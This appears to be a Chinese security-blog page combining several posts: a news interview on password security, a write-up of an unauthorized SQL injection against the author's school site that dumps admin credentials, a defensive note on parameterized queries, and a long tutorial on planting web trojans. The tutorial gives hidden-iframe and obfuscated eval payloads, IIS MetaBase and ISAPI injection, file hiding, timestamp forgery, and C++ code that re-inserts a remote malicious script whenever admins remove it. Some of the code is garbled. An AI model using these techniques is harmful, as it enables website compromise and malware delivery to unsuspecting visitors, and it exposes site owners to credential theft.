Secbone 发布的文章
信息安全专家不敢用网银 称一般密码片刻可破解
“我自己做信息安全的,没有开网银,从没在网上进行出入境申请,从来不在网上支付东西,网络购物也从不自己下单,都是通过朋友的支付系统操作,让自己逃离那个环境。”市政协委员、广东南方信息安全产业基地有限公司董事长宋国琴的保守行为让记者大吃一惊。“在这个业界,了解得多,忧虑就会多些,于是行为就趋于保守,”宋国琴笑言,“这不是好事情,不值得推荐”。
连日来,国内多个知名商业网站、政务网站相继陷入“泄密门”,数千万的用户信息被泄露,在数以亿计的网民们中引发震动和不安。网络信息安全到底问题出在哪?网民们该如何保护自己的信息安全?昨日,市政协会议开幕之际,宋国琴接受本报记者专访,向广大网民支招。
宋国琴表示,网络技术是近几十年的爆炸性革命,发展到今天,引发的网络信息安全问题是必然的。前段时间,国外的银行也曾发生过数千万客户信息泄露的问题。所以,这是一个国际的共性问题。
互联网在中国起步较晚,国内在管理、规范等方面跟其他国家有差距,有一个日渐完善的过程。中国的互联网用户基数特别大,信息安全管理的难度就更大。“这是一个客观存在的巨大的问题。”
“信息技术发展到比较高端的一定是密码技术的运用。”宋国琴解释说,这个密码技术不是大家在网站注册时设置的密码,“那个6~8位数的英文或数字的设置只是个初级编码,无论怎么不规律,对于专业技术人员来说,几十秒钟就可以破译。”
宋国琴介绍,通过密码技术对个人的商务资料、个人信息、隐私文件等进行加密处理。她打了个比方:“这个密码技术就如银行的保险箱,对客户放在其中的东西进行加密,如果被盗,别人只能得到这个保险箱,却无法取得里面的东西。”目前,密码技术的运用不够广泛,如果以密码技术为核心的信息安全技术能够大量运用的话,陈冠希、张柏芝的“艳照门”事件也就不会发生了。
建议警方指引网民
“网络上暴民和良民混淆在一起,让我害怕。”虚拟社会的管理机制缺失,宋国琴坦陈自己“对网络有戒心,不太习惯过于依赖网络”。宋国琴指出,“下一步,国家有可能对互联网进行身份认证。不一定是实名制,但是是身份认证,这是一个趋势。”
宋国琴认为,要解决互联网安全问题,最核心的是要攻克海量身份识别技术。而从管理层面来说,要承认目前的管理环境和管理技术还不够完善。公安系统应给网民提供一些技术支持、引导,局部解决一些问题。比如:推荐市民采用一些带有密码技术的软件,对自己电脑里的重要资料和文件进行保护;如何识别钓鱼网站,有木马程序的网站等。她打算进行一个详细的调研,并形成提案交给公安部门和执法部门。
专家提醒网民:
开网页先看审核认证码
普通市民的信息安全技术和知识十分有限,他们在日常上网操作时该如何保护自己的信息安全?宋国琴建议,市民可以购买具有PC文件柜、文件锁功能的软件产品,对个人的商务资料、个人信息、隐私文件等进行加密,即使被盗了,别人看到的也只是一堆乱码。宋国琴指出,作为网络运营商、技术服务提供商,更应该通过密码技术的运用,提高所提供平台的安全性,给客户构筑一个安全的网络使用、交易环境。
不断有网友反映,收到QQ抽奖的页面链接。宋国琴表示,这都是假的,轻易进行下一步操作,会导致钱财损失。她建议网友打开网站首页时,首先页面最下方,如果有一连串审核认证号码、备案号码,表明这个网站的域名是在公安等相关部门注册了的,是正规网站。
链接:近期网络安全事件
去年12月22日,CSDN网站承认安全系统遭到黑客攻击,数据库中超过600万用户的登录名和密码泄露。当月26日,天涯网证实用户密码遭到泄露。当月29日上午,有网友称广东省公安厅出入境政务服务网网站后台存在漏洞。广东省公安厅随后承认,该网站确实存在技术漏洞,现已修补完毕。
教你如何清除干净入侵的记录
对本校网站的一次搜索型注入练习
晚上在群里聊选课的事情,聊着聊着,竟然扯到学校网站的注入漏洞了,向师哥确认了一下存在注入漏洞的子站,便决定去看一下,练练手~ 话说这个子站我很久以前进行了一次检测,当时没有发现搜索注入的,但是师哥说这个注入漏洞已经存在两年了,难道是当时我检测的时候漏掉了什么?
打开网站,直奔主题,拖到最下面的搜索框,填入' ,果断报错。。。(话说截图好麻烦,我就不截图了。。。) 咦,难道真的是我当时没发现?
继续测试,填上了aa,搜出了一大堆东西来,然后继续测试,
在搜索框填入aa%' and 1=1 and '%'='%,搜索,报错。。。 怎么个情况。。。 这是在告诉我这次检测失败吗?
这是师哥在群里发来了一个连接,说里面有他的文章,就是说这个网站的,果断点进去开始下载,然后就是。。。漫长的等待。。。。。(也不知是那个服务器,下载速度慢的让人蛋疼。。。)
下载完成后,找到师哥的文章,跟截图比对了一下,就是这个注入点,没有错,那难道是语句的问题?仔细比对了一下,一下子我就醒悟了,原来是后面多了一个%。。。。 - -! 我竟然忘记了在查询数据库时后面还有一个通配符。。。
例:sql= select * from news where title like '%关键字%';
注入构造的语句是 select * from news where title like '%关键字%' and 1=1 and '%'='%';
知道原因后,马上开始
aa%' and 1=1 and '%'=' 返回正常
aa%' and 1=2 and '%'=' 返回错误 存在搜索型注入漏洞。。。
看了一下师哥的文章,他到这里以后就直接丢工具了,我这里准备手工搞一下,熟悉一下代码,呵呵,开始
aa%' and exists(select * from admin)-- 返回正常
aa%' and exists(select username from admin)-- 正常 进展的还真是异常的顺利啊
aa%' order by xx-- 16正常,17错误
接下来开始爆字段内容
aa%' and 1=2 union select 1,2,3,4.....16 from admin-- 发现5,6两个字段可用
替换为 aa%' and 1=2 union select 1,2,3,4,username,password,7,8.....16 from admin-- 成功爆出管理员帐号密码
登录后台逛了一下,有一个上传点,貌似师哥在文章里提过可以用cookies绕过,这里就不搞了,这次主要是练练手,熟悉一下手工注入。
通过这次练习,还是对搜索注入有了进一步的了解的,还有就是注入语句的构造要自己动一下脑子才能得到应有的效果,还有一点就是在猜解表名和字段的时候,可以用col_name等系统函数来列出来,会省下很多时间。。。 嗯嗯 大概就是这个样子。小菜有错误的地方欢迎指正~ o(∩_∩)o 呵呵~
SQL注入的几点误区
大家存在5点误区:
1、sql注入比较难防,需要替换select,delete等一打字符
其实对于字符型替换再多都没有替换单引号为两个单引号来的好!对于数字型替换再多都没有用,一定要类型转换。
2、忽略DropDownList传来的东西
其实是不对的,一切客户端的东西都是不可信任的,select下拉框也是!因为可以自己做一个htm提交到服务器。
3、access比sqlserver不安全
安全不安全关键看怎么用,如果sqlserver还是像access一样用,一个sa帐户的话,很明显,sqlserver比access不安全,可以直接得到表名和字段名!access反而倒安全点了,因为只能通过逐位猜解得到。
4、网站没有显示出错信息就说明网站是安全的
当有记录的时候显示记录,没有记录的时候显示
找不到任何记录,通过这两种状态就可以猜解字
段名了,所以网页不出错不能说明是安全的
5、忽略post提交的信息
很多人对url上传递的东西过滤严格,对于post的东西不理不睬是不对的,post的东西更加容易被注入,因为一般字段比较多
在asp.net中强烈建议通过参数来实现sql而不是sql拼接,因为就算你每一个都过滤百密难有疏
比如:
SqlConnection conn=new SqlConnection(System.Configuration.ConfigurationSettings.AppSettings["conn"]);
SqlCommand comm=new SqlCommand("update tb1 set vName=@vName,iAge=@iAge where ID=@id",conn);
SqlParameter parm1=new SqlParameter("@vName",SqlDbType.NVarChar,50);
parm1.Value=((TextBox)e.Item.FindControl("name")).Text;
SqlParameter parm2=new SqlParameter("@iAge",SqlDbType.Int);
parm2.Value=((TextBox)e.Item.FindControl("age")).Text;
SqlParameter parm3=new SqlParameter("@id",SqlDbType.Int);
parm3.Value=this.DataGrid1.DataKeys[e.Item.ItemIndex];
comm.Parameters.Add(parm1);
comm.Parameters.Add(parm2);
comm.Parameters.Add(parm3);
conn.Open();
comm.ExecuteNonQuery();
conn.Close();
这样的代码看起来舒服而且又安全,何乐不为?
突破伪静态的四种注入方法
伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。常规的伪静态页面如下:http://www.XXX.com/play/Diablo.html, 在看到之前先要确定这个页面是静态还是伪静态,鉴别方法很多。
八大团体发布“ITer宣言” 共创互联新兴力量未来
挂马轻骑兵,看黑客的多种挂马方式
开始语
摘自 : dashige's捕捞歌
目录
一 最简单的挂马方式
1.iframe挂马法
2.js文件挂马法
3.CSS中挂马
二 挂马技术升级—进阶篇
1.window.status=''方式
2.JS重定向挂马
3.手动挂马文件隐藏小技巧
三 服务器上挂马技术
1.MetaBase.mxl
2.ISAPI加载挂马
四 GXM挂马时的辅助工具与技巧
1.ASP封包挂马
GXM挂马时的辅助工具与技巧
2.修改最后文件修改日期工具
GXM挂马时的辅助工具与技巧
3.监控特定文件自动插马的无赖工具
五 最后总结
开始语
很多人非常鄙视挂马,但作为HACK必须了解的技术,我们还是要研究的。本文将很细致的讲解挂马,主要就是让一无所知的菜鸟懂得如何挂马。
一,最简单的挂马方式
1. iframe挂马法
作为挂马中最常用的语句,虽然简单,但还是要说下,为了广大的菜菜们。首先解释下iframe标签,它代表HTML内联框架,尤其是以下属性:
提示:
name 定义两人内容页名称,此名称在框架页内连接时会使用到
frameborder 定义了内容页的边框,取值为(1|0).缺省值为1
marginwidth 定义可框架中HTML文件显示的上下边界的宽度,取值为px,缺省值由浏览器决定
marginheight 定义可架框中HTML文件显示左右边界的宽度,取值为px,缺省值由浏览器决定
elign 垂直或水平方式
height 框架的高度
width 框架的宽度
一 般我们常用的属性就是height和width,因此为了让客户看不到我们的网马,就设置height为0,width为0.我们本地测试下,利用记事本 新建一个文件,然后输入代码:<iframe src=http://www.baidu.com width=50></iframe>,保存为*.htm文件。
当把width和height都设置为0后,页面就相当于被"隐藏"了起来,实际中只要把以上代码中src后的地址改成网马地址就可以了。
2. js文件挂马法
由于iframe所利用的代码很明显,由经验的管理员一搜索就可以找到,所以又有人想出了js文件挂马,这招在06年的时候很流行,现在还是主流哦!
首 先建立一个文件,保存为1.htm,里面写入代码为:<script language=javascript src='http://137.0.0.1/tg.js'></script>,因为我是在本地测试的,目录是D:\website 里面有个tg.js文件。
tg.js文件里写挂马语句,比如说:
document.write("<iframe src=http://www.c3389.com width=100 height=100></iframe>");
好了,写完后保存文件,然后访问下1.htm就可以看到效果了。
其实
<script language=javascript src='heep://127.0.0.1/tg.js'></script> 就是调用了tg.js这个文件,当别人访问1.htm的时候就调用tg.js,然后再根据tg.js文件里的内容去访问我们的网马。
这 样,管理员在1.htm中搜索iframe就与挂马无关了,但我们却又能调用网马。 为了让管理员搜索不到iframe字样,最好的办法还是对js文件里的内容进行加密,复制我们JS文件里的内容,把他们转成其他进制。我这有个软件可以进 行转化操作,将要加密的内容复制到"要转的"输入框里,然后单击"给我转!",分别就会在"输出的八进制"和"输出的十六进制"处出现转换后的内容,然后 我就转换八进制复制下来,在js文件里这么写:
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\142\143\75\150\164\164\160\72\57\57\147\147\147\56\142\141\151\155\165\56\143\157\155\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\61\60\60\76\74\57\141\146\162\141\155\145\76\42\51\73")
这样就OK了!已经没有iframe字样了,这确实在早期是个挂马的好招,但是现在这几招也骗不了厉害的管理员了,所以挂马技术还要在研究下去……
3.CSS中挂马
要 想在CSS文件中挂马,先来了解什么是CSS文件。CSS是Cascading Style Sheets的简称,一般称为"层叠样式表",实际上它是一组样式。你可能对CSS这个名词比较陌生,实际上你在浏览网页时,当前网页页面说不定就使用了 CSS。用好CSS能使网页编辑者在排版和设置功能时更加明了。
CSS的语句是内嵌在HTML文档内的,所以,编写CSS的方法和编 写HTML文档的方法一样,只需要在引用CSS的页面部插入<link href="css.css" type="text/css" rel="stylesheet">这样的代码即可。其实就是在当前页面调用外部文件的实现。这跟挂马自然比较"亲近"了。
现在我们就 来CSS中的挂马。首先建立一文件为1.htm,然后写入<link href="css.css" type="text/css" rel="stylesheet">并且保存。接着在同目录下用记事本新建一个css.css文件,里面代码如下
body { background-image: url('javascript:document.write("<lframe src=http://www.c3389.com width=50 height=50></iframe>")') }
再次访问 1.htm,成功调用百度的页面,图就不抓了,和以前没什么区别。不过听网上说,这样的办法会把网站搞乱,说不定会一片空白。那好吧,我们继续网上教的办 法,首先建立一个gxm.htm文件,里面调用CSS文件。调用代码为<link href="css.css" type="text/css" rel="stylesheet">,然后在css.css文件里写入如下代码:
body { background-image: url(javacrip:open('http://127.0.0.1/gxml.htm'.'newwindow'.height=0. width=0. top=1000. left=0. toolbar=no. scrollbars=no. resizable=no.location=no. atus=no')) }
以上代码是弹出一个窗口,为了部让网站成为一片空白,所以在gxml.htm文件里我们还要继续动手,写段调用js文件的代码,顺便再写段关闭窗口的代码,全部代码如下:
<script src="http://127.0.0.1/gxm.js"></script> '这个就是我们要真正放木马的地方 <script> window.opener=null; steTimeout("window.close();".5000) '意思是5秒关闭对话框,你可以设置,5000的单位是毫秒,5000毫秒就=5秒。 </script> 然后在gxm.js文件里加入这段代码:
document.write('<lframe src=http://www.c3389.com width=500 height=500></iframe>'); 编写好后,我们浏览gxm.htm文件,弹出一个窗口,窗口中的内容是调用的指定站点,大家可以把它修改为自己的挂马的地址。
好了,最基础的部分结束了,我也把自己会的东西很详细地说了一遍,目地还是为了我们这些什么都不懂,而又想学习的菜鸟。当然,这类菜鸟先要懂得如何使用 webshell,这个是前提。至于高手,可以跳过这部分,下面的一大部分里准备了进阶篇,可能有些内容对于高手来说还是比较简单的,但这几招没有被重 视。
二 挂马技术升级—进阶篇
1.window.status='';方式
大家在尝试用iframe的时候,有没有发现IE6.0浏览器中下面的状态栏会出现网马的地址?对于有经验的管理员来说,不是自己网站和熟悉的地址,查看后在一访问就知道是网马。因此,我们要让这个地址不能出现。
现在解释下window.status='';是什么意思,其实它是JS中的windows对象,status只不过是它的属性而已。有关windows对象的介绍如下
---------------------------------------------------------------------------------------------------------------------------------------------
windows对象
它是一个顶层对象,而不是另一个对象的属性
相关属性
defaultStaus 缺省的状态条消息
document 当前显示的文件
frame 窗口里的一个架框,该属性本身也是一个对象
frames array 列举窗口的架框对象的数组,按照这些对象在文档中出现的顺序列出,该属性本身也是一个对象
history 窗口的历史列表,该属性本身也是一个对象
length 窗口类的框架数
location 窗口所显示的文档完整(绝对)URL,该属性本身也是一个对象,不要把它如document,location混淆,后者是当前显示文档的URL。用户可 以改变windows,location(用另一个文档取代当前文档),但却不能改变document,location(因为这是当前显示文档的位置)
name 窗口打开时,赋予该窗口的名字
opener 代表使用windows.poen打开当前窗口(这是Netscape Navigator 3.Obeat 3所引入的新属性)
parent 包含当前架框的窗口的同义词。frame和windows对象的一个属性
self 当前架框的窗口的同义词
status 状态条中的消息
top 包含当前架框的最顶层浏览器窗口的同义词
window 当前窗口或架框的同义词,一self相同
方法
alert() 打开一个Alert消息框
clearTimeout() 来终止setTimeout方法的工作
close() 关闭窗口
confirm() 打开一个Confirm消息框,用户可以选择OK或Cancel。如果用户单击OK,该方法返回true,单击Cancel返回false
biur() 把焦点从指定窗口移开(这是Netscape Navigator 3.0 beta 3 映入的新方法)
foc() 把指定的窗口带到前台 (另一个新方法)
open() 打开一个新窗口
prompt() 打开一个Prompt对话框,用户数可向该框键入文本,并把键入的文本返回到脚本
setTinmeout() 等待一定指令的毫秒数时间,然后运行指令处理程序
Onliad() 页面加载时触发
Onunload() 页面关闭是触发
--------------------------------------------------------------------------------------------------------------------------------------------
这 样,一般只要在JS文件里这样写:window.status='狂人影子';,就能在IE左脚下那里出现"狂人影子"的字样了,而不会出现地址了。当 然,如果把"狂人影子"用空格代替,IE左脚下显示就是空白了,因此,JS挂马的是时候,我们可以在JS文件里写入如下代码:
window.status="": document.write("<iframe src=http://www.c3389.com width=0 height=0></ifame>"); 其实,我在搞入侵的时候,无意看到别人的代码是这样写的:
window.defaultStates="完成";这又什么用?看看defaultStates属性的解释把,其实是个障眼法,应用的很巧妙,呵呵……(看不明白的话,你的悟性还不够啊!)
2.JS重定向挂马
这 招其实在以前的《黑客手册》上出现过,是剑心大牛的以前文章,我个人感觉这招太牛了,优点就是能躲过N多管理员,缺点就是目标的网站JS文件必须流量大, 这样才有挂马的效果,呵呵!本菜以前有幸入侵过一个音乐站,流量N大,但是它的站右下角经常出现一个JS控制的,类似QQ消息的那种东西。因此。我用了剑 心大牛的那招,因为网马免杀,管理员察觉后查了N天都查不到,最后无赖而重装系统来解决问题。至于这个是什么招?让我来一一解答。
如果你碰到一个流量很大的JS文件(特别是一些音乐站点的音乐播放列表),并且有管理员权限,服务器的WEB是用的微软的IIS,保证网马免杀,速度不卡,那么安定日子你就可以过下去了…………
神神秘秘说了那么多,很吊大家胃口啊,其实就是在JS文件上做手脚!
大 家还记得IIS配置漏洞吗?就是建立一个没有路径的虚拟目录,这样在IIS里是不可见的,比如一个站的流量JS文件是gsm.js,那么我们也建立一个没 有物理路径的虚拟目录gxm.js,然后重定向文件到我们设置的远程地址的JS文件,自然那个原本的JS文件就失去作用了,因为虚拟目录优先于物理目录。 说了这么多。可能很多菜鸟不懂,那我们来实践下就非常明白了。
adsutil.vbs文件放在C:\inetpub\Adminscripts\adsutil.vbs CREATE WSVC/1/Root/gxm "llsWebVirtualDir"
大家可能什么都不懂,我们可以输入cscript Adsutil.vbs来看一下返回信息:
------------------------------------------------------------------------------------------------------------------------
Usage:
ADSUTIL.vbs<cmd>[<path>[<value>]]
Description:
IIS administration utilit that enables the configuration of metabase properties
Supported Commands: //支持的命令,这个最重要
GET.SET.ENUM.DELETE.CREATE.COPY.APPCREATEINPROC.APPCEATEOUTPROC.APPCREATEPOOLPROC.APPDELETE.APPUNLOAD. APPGETSTATUS
------------------------------------------------------------------------------------------------------------------------
可 以看见,重要的就是支持的Supported Commands命令,我们刚刚输入的命令中,就用了CREATE这个命令。在回头来看看建立虚拟目录的命令,参数中W3SVC/1/Root/gxm代 表是只第一个web服务器地址里的虚拟目录gxm,因此我们要找的就是我们站点的web服务地址。
不可能IIS里就一个站把?现在许多用虚拟主机 的服务器,一般IIS里可能有上百个站呢!我们该怎么的快速寻找了?本人奉献自己的经验给大家:安装IIS后,在服务器上一般都有 MetaBase.xml这个文件(注意,我的XP系统里却没有这个文件。一般的服务器只要安装了IIS,都应该有这个Metbase.xml这个文 件),它的位置在C:\windows\system32\inetsrv下.
一般我们挂马的站点那个站的域名,搜索http://www.c3389.com,大家看见没有那个Location =后面的一串信息就是我们需要挂的站http://www.c3389.com里的目录了,真正应用时还应该加上root,完整的地址是/ML/W3SVC/1540331721/ROOT.
得到了地址,下面就可以打开CMD来创建我们的虚拟不可见的目录了!命令如下:
------------------------------------------------------------------------------------------------------------------
cscript C:\inetpub\AdminScripts\adsutil.vbs CREATE W3SVC/1/Root/gxm/ "llsWebVirtualDir"
创建gxm虚拟无物理路径的目录
cscript C:\inetpub\AdminScripts\adsutil\adsutil.vbs CREATE W3SVC/1/Root/gmx/gmx.js "llsWebVirtualDir"
在gxm虚拟目录里创建gxm.js虚拟无物理路径的目录.
-----------------------------------------------------------------------------------------------------------------------------
接下来就是重定向目录了,命令为:c:\inetpub\adminscripts\adsutil.vbs setW3VC/1/Root/gxm/gxm.js/httpredirecrhttp://www.c3389.com/ADMIN/LDJT/sms.js
-------------------------------------------------------------------------------------------------------------------------------
这样我们一执行,因为虚拟目录比物理路径优先,所以只要调用gxm.js这个文件,就会先访问我们虚拟目录里的这个。但是这个文件因为被我们重定向了,所以会传到
http://www.c3389.com/ADMIN/LDJT/sms.js去,因为这个sms.js文件控制了真正的物理路径里的gxm.js文件。就算管理员这么修改物理路径里的gxm.js,其结果还是去调用我们的sms.js文件。
这样,只要我们在sms.js文件里挂马就行了,呵呵……很巧妙的一招吧!大家要多多练习才能熟练哦
3,手动挂马文件隐藏小技巧
接下来讲讲本人对付一些笨蛋管理员的小招(看过本文的就不能算是笨蛋管理员了),还记得病毒是怎么隐藏自身文件的吗?他们一般就是修改注册表的相关键值,那我们和不利用下?
比如我们有个数据库连接文件comm.asp,由于每个文件都调用,因此就可以把挂马语句放在最里面然后对他进行加隐藏和只读属性(实现把挂马语句放进去)的操作。怎么加了?在CMD模式下输入命令
: attrib +r +h 文件即可。
-r -h -s 的意思就是取消指定文件或目标的只读.隐藏.系统属性,相反的 +r +h +s 就是加上只读.隐藏.系统属性。
当 把文件加了隐藏属性后,一定要把"资源管理器"- "工具"-"文件夹选项"里的"显示隐藏文件"屏蔽掉!我们可以通过简单的修改注册表来达到目地。进入注册表,找到 HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHWALL 下的CheckedValue值,修改成0就可以了,1是恢复,当修改成0后,"显示隐藏文件"就固定在不显示的那个选项上了。
这个是从病毒里学习到的小技巧,看来研究病毒还是很有用的,呵呵……这部分就结束了,下面还又跟我来的挂马技术等着大家了。
三,服务器挂马技术
其实挂马肯定得在服务器上挂的,但这里的服务器挂马是讲利用服务器本身相关文件进行挂马,而且这些文件比较特殊,一般管理员还不能删除。在服务器上挂马,只要流量大,那个效果真是……当
然,得先用netstat -an来看看连接80端口的个数,选择好目标就准备下手了。
1、MetaBase.xml文件修改挂马
大家应该还记得我们在前面才刚刚说过的MetaBase.mxl文件吧?位置在C:\WINDOWS\SYSTEM32\inetsrv,它可真的很重要!首先我们必须有这个服务器的管理权限,然后打开MetaBase.mxl文件,搜索
DefaultDoc="Default.aspx,Default.htm,Default.htm,Default.asp,index.htm,index.asp",
然 后在DefaultDoc下面,DirBrowseFlags的上面加一段话,就是: DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm",这个在C:\Inetpub \wwwroot\iisstart.htm 文件里写我们挂马的语句,尽量隐蔽点。接着在DownlevelAdminlnstance="1"下面 再添加一句EnableDocFooter="TRUE",完成后如下
------------------------------------------------------------------------------------------------------------------------------------------------
DefaultDoc="Default.aspx,Default.htm,Default.asp,index.htm,index.asp"
DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm"
DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DrBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
DownlevelAdminlnstance="1"
EnableDocFooter="TRUE"
------------------------------------------------------------------------------------------------------------------------------------------------
这 个时候我们肯定保存不了,因为IIs在调用这个文件,那这么办?我们必须停止IIS!在CMD中输入iisreset /stop,然后以最快的速度保存文件。保存好后,在CMD中输入iisreset /start重新启动IIS,然后就等着服务器流量给你的快感吧,呵呵……
2.ISAPI加载挂马
小知识:
什么是ISAPI: 它是互联网服务应用程序编程接口(Internet Sever Application Programming Internet)的缩写,是一组API函数,可以用来开发扩展IIS程序
------------------------------------------------------------------------------------------------------------------------------------------------
这种方法需要使用一些工具,步骤是:首先打开GetiD.exe获取注册号,然后运行IIS_AD.exe生成DLL文件,加载到IIS应用池就OK了。有了它,服务器任何的一个页面都会广告代码或者网马代码。
我们先看看初始的IIS_AD.ini文件里的内容:
Copy code
[IIS_AD]
ADjs=<script language='JavaScript>alert(' Welcome to User IIS AD ! ' );</script>
------------------------------------------------------------------------------------------------------------------------------------------------
现在开始注册,首先打开GetID.exe,然后点获取,获得注册账号,复制下注册号,然后打开IIS_AD.exe,把注册号粘贴进去,接着把时间调远点,最后点生成。
接着我们修改iis_ad.ini的文件,它本来是:
[IIS_AD]
ADjs=<script language=' javasecript' >alert(' Welcome to User IIS AD ! '):</script>
我们就修改成
[IIS_AD]
ADjs=<iframe scr=http://http://www.c3389.com width=600 height=700></iframe>
------------------------------------------------------------------------------------------------------------------------------------------------
下面我们要把ad.dll和iis_ad.ini这两个文件藏的深一点,打开IIS在("控制面板"—"管理工具"—"Internet 信息服务"),在要挂马的站点上按鼠标右键选择"属性",在"ISAPI"标签选项中,把我们的DLL文件添加进去。
好了,现在随便访问这个站的一个页面就会执行我们的代码,我在XP下的IIS测试通过。在2003下,我要说点事情,加载DLL文件的时候,首先把DLL和INI放到一个目录,然后给予足够的权限,在加载
ISAPI DLL文件。接着在IIS下"允许所有未知ISAPI",在WEB服务扩展下加载DLL文件,然后重启IIS
四. gxm挂马时的辅助工具与技巧
最后一大部分了,也是我自己在挂马中所领悟出来的超级独家经验大放送的时候了,呵呵。可能技术不太高超,但也是自己的一点心得,与大家分享,希望大家好好学习。
1. ASP封包挂马
大家知道吗?有些高级的ASP代码是封装在DLL文件里面的,比如自己开发的ASP组件,目的就是不公布代码,而且一些自己用ASP脚本写的常用函数也可以封装在DLL里。挂马技术就是为了让管理员看不到我们的iframe标签,因为有iframe才能挂马。
不知道这种ASP封包挂马技术大家自己手动搞过没有?反正是我自己想出来的,就算别人以前也知道,那也是思路相同而已,绝不存在抄袭,我在这里就教给大家吧。前提条件是要求我们有管理员权限(毕竟DLL文件是需要注册的)和目标必须是用ASP脚本建立的站点。
其实也很简单,就是利用VB写一个简单的ASP封装程序而已。至于代码我就不解释了,就教下怎么操作就行了,首先我们需要安装一个完整的VB编译器,打开VB,选择ACTIVEXDLL工程
然 后选择"打开",在上面点"工程"—"引号",进入选择页面,选择"Microsoft Active SerVer Pages Object Library",然后"确定"即可。菜鸟不用学习代码是什么意思,反正我是花了很长时间反复测试,终于编译成功了,大家就用我的代码吧。
-----------------------------------------------------------------------------------------------------------------------------------------------
private MyScriotingContext As ScriptingContext private MyResponse As Response public Sub OnStartPage(PassedScriptingContext AS ScriptingContext) Set MyScriptingContext = PassedScriptingContext Set Myresponse = MyscriptingContext.Response End Sub Public Sub OnEndpage() Set MyResponse = Nothing End Sub Public Sub Start() MyResponse.Write "<script language+javasecript src='http://127.0.0.1/gxm.js'></script>" End Sub ------------------------------------------------------------------------------------------------------------------------------------------
直接把以上代码复制进去,大家如果需要改的话,就改
MyResponse.Write "<scriptlanguage=javascript src='http://127.0.1/gxm.js'></script>" 这句,意思应该都能明白
ASP是需要调用的,那就需要调用名。其实这些组建的名字改工程名就是了,在右边选择工程名,我改成vlegxm。
然后修改类名为gxml,调用方法如下:
<% Set ObjReference=Sever.CreateObject("gxm.gxm1") ObjReference = nothing %> 好了现在利用VB编译下,选择"文件"—"生成",gxm.dll文件所生成的目录,然后执行命令"regsvr32 gxm.dll进行注册
好了现在建立了一个1.asp文件,里面就写调用的代码。因为我们的组件调用的是 http://127.0.0.1/gxm.js,因此我们还要再建立一个gxm.js文件,里面写入如下代码:
document.write('<iframe src=http://www.c3389.com width=500 height=500> </iframe>'); 现在我们去访问下看看
呵呵,在实际应用中,一般conn.asp这样的数据库连接文件不是也要调用组件吗?我们就写到里面去迷惑管理员,这样就查不到iframe标签了!还有两个小的心得,休息一下,我们继续。
2.修改最后文件修改日期工具
前 面刚刚给大家介绍过利用ASP封包挂马,只要修改下conn.asp文件进行调用就可以了。不过管理员只要通过查看修改的 "文件时间" 就能知道什么文件被修改过了,然后覆盖掉站点内觉得可疑的文件,我们的成果就又完蛋了!因此我们不能让管理员察觉到时间不对,这里就来讲讲.修改文件的最 后修改日期.
我站点有一些ASP木马上有这类功能,但是有的是后因为权限的问题(很多时候需要管理员的权限)而无法修改,虽然提示却成功了,呵呵。小菜我自己写了个程序,就直接奉献给大家了,执行后会出现说明
一般我修改好conn.asp文件后,必须对它修改文件最后修改日期。这个小工具的参数有7个,大家应该都能看懂,比如我要修改教cmd.txt,然后照所进行命令执行就可以了。
3.监控特定文件自动插马的无赖工具
这个确实是个无赖,呵呵,以前碰到一个服务器上的管理员,他很会查我的代码,因此为了对付他,我特别自己写了个程序。其实也就是监控指定的文件,如果没有发现挂马语句,就马上插进去。
程序的主流是这样的:"先检查文件里有无挂马语句,没有的话,就给目标足够的访问权限,取消对自身的拒绝权限。以所有权先打开文件,定位到文件最后位置进行插马。接着再检测,有了就跳过,等一段时间再检测。
我的技术不足,就不知道怎么利用AIP函数来操作权限设置,无奈之下,只好在程序工程中用命令来代替了,这里把代码贴出来:
------------------------------------------------------------------------------------------------------------------------------------------------
#include "stdafx.h" #include"process.h" #include"windows.h" #include"string.h" #include"iostream.h" #include"fstream.h" char path2[256]="E:\\website\\default.asp"; char guama[256]="\n<scripc language=javascript src='http://http://www.c3389.com/ADMIN/LDJT/tg.js'></script>"; BOOL APIENTRY DIIMain( HANDLE hModule, DWORD uI_reason_for_call, ) { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: { while(1) { ifrstream ifs(path2): char DileContent[5000]; memset(FileContent,0,5000);//初始化 FileContent ifs.read(FileContent,5000);//读取数据 ifs.close( )://关闭ifstream对象 if(strstr(FileContent,guama)==0) { char path[256]="E:\\website\\\\default.asp"; char mingling[256]="cacls"; strcat(mingling.path1); char ps[25]="/T /E /C /G everyone:F"; strcat(mingling.ps); char mingling1[256]="cacls "; strcat(mingling.path1); char pa[30]="/T /E /C /G administrator:F"; stcat(mingling1.pa); system(mingling); system(mingling1); SetFileAttributes(path2.GetFileAttributes(path1) & ~FILR_ATTRIBUTE_READONLY); ofstream outfile; outfile.open(path2,ios: :app); if (!outfile) { exit(o); } outfile<<guama; outfile.close( ); } Sleep(9000); } } default; return TRUE; } return TRUE; } -----------------------------------------------------------------------------------------------------------------------------------------------------
没有基础的朋友不要紧,只要安装个VC++6.0,然后建立一个EXE工程或DLL工程,主要代码就在里面了。我贴出来的是DLL工程代码,因为我有个插入进程的EXE程序,可以吧DLL插进去。不然很容易被管理员结束进程,从而导致无法监控。
当然,选择EXE工程的朋友,网上已经有些工具,能让京城隐藏、无法删除,或者rootkit等,大家喜欢怎么弄就怎么弄啦,只要把程序里3处地方进行修改即可。
----------------------------------------------------------------------------------------------------------------------------------------------------
char path2[256]="E:\\website\\default.asp";
char path1[256]="E:\\website\\default.asp";
char guama[256]"n<script language=javasceript src'=http://www.c3389.com/ADMIN/LDJT/tg.js'></script>";
-----------------------------------------------------------------------------------------------------------------------------------------------------
上面这段代码的前面两个都是我们需要监控的代码,第三个就是要插入的挂马语句代码,最终编译一下就OK了。其实这个办法只是为了让管理员郁闷而已,因为管理员每次都能检查到,几天后管理员肯定重装系统,如果你要折磨他的话……
这部分可能对于真正挂马菜鸟来说是有难度,毕竟是我的少部分心得而已,还是建议先把前面大家都学会的学号,呵呵!
五,最后总结
